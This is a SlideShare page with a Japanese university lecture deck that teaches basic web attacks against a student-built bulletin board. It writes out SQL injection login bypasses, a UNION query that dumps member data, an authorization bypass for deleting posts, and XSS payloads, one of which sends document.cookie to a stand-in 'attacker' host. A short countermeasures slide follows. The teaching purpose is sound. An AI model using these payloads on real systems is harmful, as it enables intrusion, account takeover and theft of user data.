SlideShare a Scribd company logo
1 of 14
サーバを作ってみた (4)
Nagoya Institute of
Technology
Department of Computer
Science
Yoon, SeungYong
今回の目標
簡単な攻撃手法を理解する
 SQL Injectionってなに?
 DoS攻撃ってなに?
 Session Hijackingってなに?
 XSS(Cross Site Scripting)ってなに?
破壊!
SQL INJECTION
このクエリのWHERE節をいつもTrueにさせる方法は?
 SELECT * FROM member WHERE id = ‘$user_id’ AND password = ‘$user_pass’
これはどう?
 SELECT * FROM member WHERE id = ‘user’ AND pass = ‘’ OR ‘’ = ‘’
 SELECT * FROM member WHERE id = ‘admin’ --’ AND pass = ‘dummy’
このようにSQLクエリの一部を試す方法をSQL Injection攻撃という
DOS攻撃
DoS Attack : Denial of Service Attack = サービス拒否攻撃
もし、掲示板が見られなくなったら?
もし、サーバへのアクセスができなくなったら?
もっとひどい攻撃としてDDoS攻撃がある
 Distributed Denial of Service Attack
SESSION HIJACKING
ログインするたびに生成されるものは?
もしあれを手に入れることができたら?
XSS(CROSS SITE SCRIPTING)
自分が気づかぬうちに何らかのスクリプトが動いていたら?
 そのスクリプトはあなたのSessionかもしれない
 そのスクリプトはあなたのページだけ変造してるかもしれない
 そのスクリプトはあなたの個人情報を外に流しているかもしれない
破壊!
不正ログイン
権限のないポストの修正・削除
掲示板荒し
他人のアカウントでログイン
会員情報の取得
不正ログイン
さっきのやつコピーペー
 SELECT * FROM member WHERE id = ‘$user_id’ AND password = ‘$user_pass’
を
 SELECT * FROM member WHERE id = ‘user’ AND pass = ‘’ OR ‘’ = ‘’
 もしくは
 SELECT * FROM member WHERE id = ‘admin’ --’ AND pass = ‘dummy’
に
権限のないポストを修正・削除
削除ページは
 http://yourserver/delete.php?post_id=$post_id
そこで権限の確認は
 SELECT * FROM board WHERE id = $post_id AND writer_id = $login_id
じゃ、これはどう?
 http://yourserver/delete.php?post_id=12--
掲示板荒し
もしポストのタイトルにスクリプトが入っていたら?
haha<script>for(var i=0; i<1000; i++) alert(‘haha’);</script>
他人のアカウントでログイン
Fiddlerを利用しよう
 http://fiddler2.com/
 とても有名なウェブデバッガー
送るクッキーにどっかで取ったセッションを挿入、終わり。
他人のセッションの取得?
 <script>document.write(‘<img src=”http://attacker/1pximage?’ + document.cookie +
‘”>’);</script>
 そしてログを見る
 ログは /var/log/apache2/access.log
会員情報を取得
SQLのUNION節を用いる
 SELECT * FROM board WHERE id = $post_id
 SELECT * FROM board WHERE id = 0 UNION ALL SELECT *, ‘’, ‘’, ‘’, ‘’, ‘’ from member
http://yourserver/view.php?post_id=1 UNION ALL SELECT *, '', '', '', '', '' from
member LIMIT 0, 1
対策
いつも!エスケープ
 ‘を’に替えたり・・・
 <script>を削除したり・・・
 そもそも<を&lt;などで替えたり
セッションを用いるときはIPとかも確認したり・・・
次回(があれば)
ファイルアップロード機能の追加
そして、破壊!

More Related Content

Viewers also liked

(Fios#02) 7. 윈도우 10 포렌식 분석
(Fios#02) 7. 윈도우 10 포렌식 분석(Fios#02) 7. 윈도우 10 포렌식 분석
(Fios#02) 7. 윈도우 10 포렌식 분석INSIGHT FORENSIC
 
(Ficon2016) #1 디지털포렌식, 어디까지 왔나
(Ficon2016) #1 디지털포렌식, 어디까지 왔나(Ficon2016) #1 디지털포렌식, 어디까지 왔나
(Ficon2016) #1 디지털포렌식, 어디까지 왔나INSIGHT FORENSIC
 
Power shell 악성코드 동향 20161118_차민석_디지털 포렌식 기술특강 공개판
Power shell 악성코드 동향 20161118_차민석_디지털 포렌식 기술특강 공개판Power shell 악성코드 동향 20161118_차민석_디지털 포렌식 기술특강 공개판
Power shell 악성코드 동향 20161118_차민석_디지털 포렌식 기술특강 공개판Minseok(Jacky) Cha
 
빅데이터와 보안
빅데이터와 보안빅데이터와 보안
빅데이터와 보안Myounghun Kang
 
보안과 빅데이터의 올바른 접목
보안과 빅데이터의 올바른 접목보안과 빅데이터의 올바른 접목
보안과 빅데이터의 올바른 접목Myounghun Kang
 
[법무법인 민후 | 김경환 변호사] 법적관점에서 바라보는 디지털포렌식(사례 중심) (포렌식)
[법무법인 민후 | 김경환 변호사] 법적관점에서 바라보는 디지털포렌식(사례 중심) (포렌식)[법무법인 민후 | 김경환 변호사] 법적관점에서 바라보는 디지털포렌식(사례 중심) (포렌식)
[법무법인 민후 | 김경환 변호사] 법적관점에서 바라보는 디지털포렌식(사례 중심) (포렌식)MINWHO Law Group
 
블록체인 What is Blockchain?
블록체인 What is Blockchain?블록체인 What is Blockchain?
블록체인 What is Blockchain?정식 황
 
블록체인 개요
블록체인 개요블록체인 개요
블록체인 개요Jeff Paik
 
블록 체인 기술 원리, 이용 현황, 전망과 활용 분야.
블록 체인 기술 원리,  이용 현황, 전망과 활용 분야. 블록 체인 기술 원리,  이용 현황, 전망과 활용 분야.
블록 체인 기술 원리, 이용 현황, 전망과 활용 분야. JaeGon Lim
 
How Blockchain Works - 블록체인의 원리
How Blockchain Works - 블록체인의 원리How Blockchain Works - 블록체인의 원리
How Blockchain Works - 블록체인의 원리SeokWon Kim
 
Windows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary ArtefactsWindows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary ArtefactsBrent Muir
 

Viewers also liked (12)

(Fios#02) 7. 윈도우 10 포렌식 분석
(Fios#02) 7. 윈도우 10 포렌식 분석(Fios#02) 7. 윈도우 10 포렌식 분석
(Fios#02) 7. 윈도우 10 포렌식 분석
 
(Ficon2016) #1 디지털포렌식, 어디까지 왔나
(Ficon2016) #1 디지털포렌식, 어디까지 왔나(Ficon2016) #1 디지털포렌식, 어디까지 왔나
(Ficon2016) #1 디지털포렌식, 어디까지 왔나
 
Power shell 악성코드 동향 20161118_차민석_디지털 포렌식 기술특강 공개판
Power shell 악성코드 동향 20161118_차민석_디지털 포렌식 기술특강 공개판Power shell 악성코드 동향 20161118_차민석_디지털 포렌식 기술특강 공개판
Power shell 악성코드 동향 20161118_차민석_디지털 포렌식 기술특강 공개판
 
빅데이터와 보안
빅데이터와 보안빅데이터와 보안
빅데이터와 보안
 
보안과 빅데이터의 올바른 접목
보안과 빅데이터의 올바른 접목보안과 빅데이터의 올바른 접목
보안과 빅데이터의 올바른 접목
 
빅데이터 개요
빅데이터 개요빅데이터 개요
빅데이터 개요
 
[법무법인 민후 | 김경환 변호사] 법적관점에서 바라보는 디지털포렌식(사례 중심) (포렌식)
[법무법인 민후 | 김경환 변호사] 법적관점에서 바라보는 디지털포렌식(사례 중심) (포렌식)[법무법인 민후 | 김경환 변호사] 법적관점에서 바라보는 디지털포렌식(사례 중심) (포렌식)
[법무법인 민후 | 김경환 변호사] 법적관점에서 바라보는 디지털포렌식(사례 중심) (포렌식)
 
블록체인 What is Blockchain?
블록체인 What is Blockchain?블록체인 What is Blockchain?
블록체인 What is Blockchain?
 
블록체인 개요
블록체인 개요블록체인 개요
블록체인 개요
 
블록 체인 기술 원리, 이용 현황, 전망과 활용 분야.
블록 체인 기술 원리,  이용 현황, 전망과 활용 분야. 블록 체인 기술 원리,  이용 현황, 전망과 활용 분야.
블록 체인 기술 원리, 이용 현황, 전망과 활용 분야.
 
How Blockchain Works - 블록체인의 원리
How Blockchain Works - 블록체인의 원리How Blockchain Works - 블록체인의 원리
How Blockchain Works - 블록체인의 원리
 
Windows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary ArtefactsWindows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary Artefacts
 

Similar to サーバを作ってみた (4)

web技術 〜セキュリティ編〜.pdf
web技術 〜セキュリティ編〜.pdfweb技術 〜セキュリティ編〜.pdf
web技術 〜セキュリティ編〜.pdfKoudaiKumazaki
 
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014Hiroshi Tokumaru
 
日常に溶け込む サイバー攻撃 3選.pdf
日常に溶け込む サイバー攻撃 3選.pdf日常に溶け込む サイバー攻撃 3選.pdf
日常に溶け込む サイバー攻撃 3選.pdfhey jun
 
Djangoのセキュリティとその実装
Djangoのセキュリティとその実装Djangoのセキュリティとその実装
Djangoのセキュリティとその実装aki33524
 

Similar to サーバを作ってみた (4) (6)

web技術 〜セキュリティ編〜.pdf
web技術 〜セキュリティ編〜.pdfweb技術 〜セキュリティ編〜.pdf
web技術 〜セキュリティ編〜.pdf
 
Ddos
DdosDdos
Ddos
 
0805wordbench倉敷
0805wordbench倉敷0805wordbench倉敷
0805wordbench倉敷
 
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
 
日常に溶け込む サイバー攻撃 3選.pdf
日常に溶け込む サイバー攻撃 3選.pdf日常に溶け込む サイバー攻撃 3選.pdf
日常に溶け込む サイバー攻撃 3選.pdf
 
Djangoのセキュリティとその実装
Djangoのセキュリティとその実装Djangoのセキュリティとその実装
Djangoのセキュリティとその実装
 

More from SeungYong Yoon

정보보호 최고책임자(CISO)의 법적 지위 제안
정보보호 최고책임자(CISO)의 법적 지위 제안정보보호 최고책임자(CISO)의 법적 지위 제안
정보보호 최고책임자(CISO)의 법적 지위 제안SeungYong Yoon
 
Mining non-redundant recurrent rules from a sequence database
Mining non-redundant recurrent rules from a sequence databaseMining non-redundant recurrent rules from a sequence database
Mining non-redundant recurrent rules from a sequence databaseSeungYong Yoon
 
계산 종이접기 입문(2)
계산 종이접기 입문(2)계산 종이접기 입문(2)
계산 종이접기 입문(2)SeungYong Yoon
 
계산 종이접기 입문(1)
계산 종이접기 입문(1)계산 종이접기 입문(1)
계산 종이접기 입문(1)SeungYong Yoon
 
양자 정보학 강의 (Quantum Information Lecture)
양자 정보학 강의 (Quantum Information Lecture)양자 정보학 강의 (Quantum Information Lecture)
양자 정보학 강의 (Quantum Information Lecture)SeungYong Yoon
 
サーバを作ってみた (2)
サーバを作ってみた (2)サーバを作ってみた (2)
サーバを作ってみた (2)SeungYong Yoon
 
サーバを作ってみた (1)
サーバを作ってみた (1)サーバを作ってみた (1)
サーバを作ってみた (1)SeungYong Yoon
 
サーバを作ってみた (3)
サーバを作ってみた (3)サーバを作ってみた (3)
サーバを作ってみた (3)SeungYong Yoon
 

More from SeungYong Yoon (8)

정보보호 최고책임자(CISO)의 법적 지위 제안
정보보호 최고책임자(CISO)의 법적 지위 제안정보보호 최고책임자(CISO)의 법적 지위 제안
정보보호 최고책임자(CISO)의 법적 지위 제안
 
Mining non-redundant recurrent rules from a sequence database
Mining non-redundant recurrent rules from a sequence databaseMining non-redundant recurrent rules from a sequence database
Mining non-redundant recurrent rules from a sequence database
 
계산 종이접기 입문(2)
계산 종이접기 입문(2)계산 종이접기 입문(2)
계산 종이접기 입문(2)
 
계산 종이접기 입문(1)
계산 종이접기 입문(1)계산 종이접기 입문(1)
계산 종이접기 입문(1)
 
양자 정보학 강의 (Quantum Information Lecture)
양자 정보학 강의 (Quantum Information Lecture)양자 정보학 강의 (Quantum Information Lecture)
양자 정보학 강의 (Quantum Information Lecture)
 
サーバを作ってみた (2)
サーバを作ってみた (2)サーバを作ってみた (2)
サーバを作ってみた (2)
 
サーバを作ってみた (1)
サーバを作ってみた (1)サーバを作ってみた (1)
サーバを作ってみた (1)
 
サーバを作ってみた (3)
サーバを作ってみた (3)サーバを作ってみた (3)
サーバを作ってみた (3)
 

Recently uploaded

世界を変えるクレーンを生み出そう! 高知エンジニアリングキャンプ2024プログラム
世界を変えるクレーンを生み出そう! 高知エンジニアリングキャンプ2024プログラム世界を変えるクレーンを生み出そう! 高知エンジニアリングキャンプ2024プログラム
世界を変えるクレーンを生み出そう! 高知エンジニアリングキャンプ2024プログラムKochi Eng Camp
 
東京工業大学 環境・社会理工学院 建築学系 大学院入学入試・進学説明会2024_v2
東京工業大学 環境・社会理工学院 建築学系 大学院入学入試・進学説明会2024_v2東京工業大学 環境・社会理工学院 建築学系 大学院入学入試・進学説明会2024_v2
東京工業大学 環境・社会理工学院 建築学系 大学院入学入試・進学説明会2024_v2Tokyo Institute of Technology
 
次世代機の製品コンセプトを描く ~未来の機械を創造してみよう~
次世代機の製品コンセプトを描く ~未来の機械を創造してみよう~次世代機の製品コンセプトを描く ~未来の機械を創造してみよう~
次世代機の製品コンセプトを描く ~未来の機械を創造してみよう~Kochi Eng Camp
 
2024年度 東京工業大学 工学院 機械系 大学院 修士課程 入試 説明会 資料
2024年度 東京工業大学 工学院 機械系 大学院 修士課程 入試 説明会 資料2024年度 東京工業大学 工学院 機械系 大学院 修士課程 入試 説明会 資料
2024年度 東京工業大学 工学院 機械系 大学院 修士課程 入試 説明会 資料Tokyo Institute of Technology
 
生成AIの回答内容の修正を課題としたレポートについて:お茶の水女子大学「授業・研究における生成系AIの活用事例」での講演資料
生成AIの回答内容の修正を課題としたレポートについて:お茶の水女子大学「授業・研究における生成系AIの活用事例」での講演資料生成AIの回答内容の修正を課題としたレポートについて:お茶の水女子大学「授業・研究における生成系AIの活用事例」での講演資料
生成AIの回答内容の修正を課題としたレポートについて:お茶の水女子大学「授業・研究における生成系AIの活用事例」での講演資料Takayuki Itoh
 
TokyoTechGraduateExaminationPresentation
TokyoTechGraduateExaminationPresentationTokyoTechGraduateExaminationPresentation
TokyoTechGraduateExaminationPresentationYukiTerazawa
 
The_Five_Books_Overview_Presentation_2024
The_Five_Books_Overview_Presentation_2024The_Five_Books_Overview_Presentation_2024
The_Five_Books_Overview_Presentation_2024koheioishi1
 
ゲーム理論 BASIC 演習106 -価格の交渉ゲーム-#ゲーム理論 #gametheory #数学
ゲーム理論 BASIC 演習106 -価格の交渉ゲーム-#ゲーム理論 #gametheory #数学ゲーム理論 BASIC 演習106 -価格の交渉ゲーム-#ゲーム理論 #gametheory #数学
ゲーム理論 BASIC 演習106 -価格の交渉ゲーム-#ゲーム理論 #gametheory #数学ssusere0a682
 

Recently uploaded (8)

世界を変えるクレーンを生み出そう! 高知エンジニアリングキャンプ2024プログラム
世界を変えるクレーンを生み出そう! 高知エンジニアリングキャンプ2024プログラム世界を変えるクレーンを生み出そう! 高知エンジニアリングキャンプ2024プログラム
世界を変えるクレーンを生み出そう! 高知エンジニアリングキャンプ2024プログラム
 
東京工業大学 環境・社会理工学院 建築学系 大学院入学入試・進学説明会2024_v2
東京工業大学 環境・社会理工学院 建築学系 大学院入学入試・進学説明会2024_v2東京工業大学 環境・社会理工学院 建築学系 大学院入学入試・進学説明会2024_v2
東京工業大学 環境・社会理工学院 建築学系 大学院入学入試・進学説明会2024_v2
 
次世代機の製品コンセプトを描く ~未来の機械を創造してみよう~
次世代機の製品コンセプトを描く ~未来の機械を創造してみよう~次世代機の製品コンセプトを描く ~未来の機械を創造してみよう~
次世代機の製品コンセプトを描く ~未来の機械を創造してみよう~
 
2024年度 東京工業大学 工学院 機械系 大学院 修士課程 入試 説明会 資料
2024年度 東京工業大学 工学院 機械系 大学院 修士課程 入試 説明会 資料2024年度 東京工業大学 工学院 機械系 大学院 修士課程 入試 説明会 資料
2024年度 東京工業大学 工学院 機械系 大学院 修士課程 入試 説明会 資料
 
生成AIの回答内容の修正を課題としたレポートについて:お茶の水女子大学「授業・研究における生成系AIの活用事例」での講演資料
生成AIの回答内容の修正を課題としたレポートについて:お茶の水女子大学「授業・研究における生成系AIの活用事例」での講演資料生成AIの回答内容の修正を課題としたレポートについて:お茶の水女子大学「授業・研究における生成系AIの活用事例」での講演資料
生成AIの回答内容の修正を課題としたレポートについて:お茶の水女子大学「授業・研究における生成系AIの活用事例」での講演資料
 
TokyoTechGraduateExaminationPresentation
TokyoTechGraduateExaminationPresentationTokyoTechGraduateExaminationPresentation
TokyoTechGraduateExaminationPresentation
 
The_Five_Books_Overview_Presentation_2024
The_Five_Books_Overview_Presentation_2024The_Five_Books_Overview_Presentation_2024
The_Five_Books_Overview_Presentation_2024
 
ゲーム理論 BASIC 演習106 -価格の交渉ゲーム-#ゲーム理論 #gametheory #数学
ゲーム理論 BASIC 演習106 -価格の交渉ゲーム-#ゲーム理論 #gametheory #数学ゲーム理論 BASIC 演習106 -価格の交渉ゲーム-#ゲーム理論 #gametheory #数学
ゲーム理論 BASIC 演習106 -価格の交渉ゲーム-#ゲーム理論 #gametheory #数学
 

サーバを作ってみた (4)